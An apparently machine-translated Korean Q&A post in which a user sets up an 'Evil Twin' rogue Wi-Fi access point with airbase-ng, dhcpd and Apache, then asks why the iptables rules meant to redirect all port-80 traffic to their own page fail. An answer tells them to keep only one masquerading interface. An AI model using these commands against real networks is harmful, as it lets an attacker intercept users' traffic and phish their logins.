
나는 Evil Twin 방법을 조사해 왔으며 다음 단계를 찾았습니다.
AP 생성
airmon-ng start wlan0 airbase-ng -e PrivateWIFI -c 9 -v mon0
at0
구성ifconfig at0 up ifconfig at0 192.168.1.20 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.20
DHCP 실행
echo > '/var/lib/dhcp/dhcpd.leases' /etc/init.d/isc-dhcp-server start OR dhcpd -d -f -cf /etc/dhcp/dhcpd.conf at0 ( the both of them is working fine )
dhcpd.conf 파일:
ddns-update-style interim;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option routers 192.168.1.1;
option domain-name-servers 8.8.8.8;
range 192.168.1.2 192.168.1.250;
}
그런 다음 Apache2 서버를 시작했습니다.
(여기까지는 문제가 없습니다)
상태 ( 내 휴대폰에서 웹서버 192.168.1.20 을 열면 제가 만든 웹페이지가 보입니다 :) :) )
그러나 문제는 iptables 명령을 추가해도 아무 일도 일어나지 않는다는 것입니다.
iptables --flush
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward
////////////////////////////////////////////////////////////////////////
iptables --flush
iptables --table nat --append POSTROUTING --out-interface at0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward
둘 다 작동하지 않습니다. 누군가가 나를 도울 수 있었으면 좋겠습니다.
답변1
브라우저가 웹 서버로 리디렉션되는 것이 문제인지 아니면 인터넷에 연결되지 않는 것이 문제인지는 알 수 없지만 수정해야 할 부분이 있는 것 같습니다.
당신은하나마스커레이딩 인터페이스는 둘이 아닙니다. 올바른 것은eth0(이것이 하나의 인터페이스라고 가정합니다.곧장인터넷에 연결되어 있음)이 아니라불량망 at0상호 작용. 따라서 마지막 줄에서 두 번째 줄을 제거해야 합니다.
그런 다음 상황이 예상대로 작동하는지 확인하십시오. 그렇지 않은 경우 현재 진단과 함께 문제에 대한 정확한 설명을 제공해 주십시오.
감사합니다.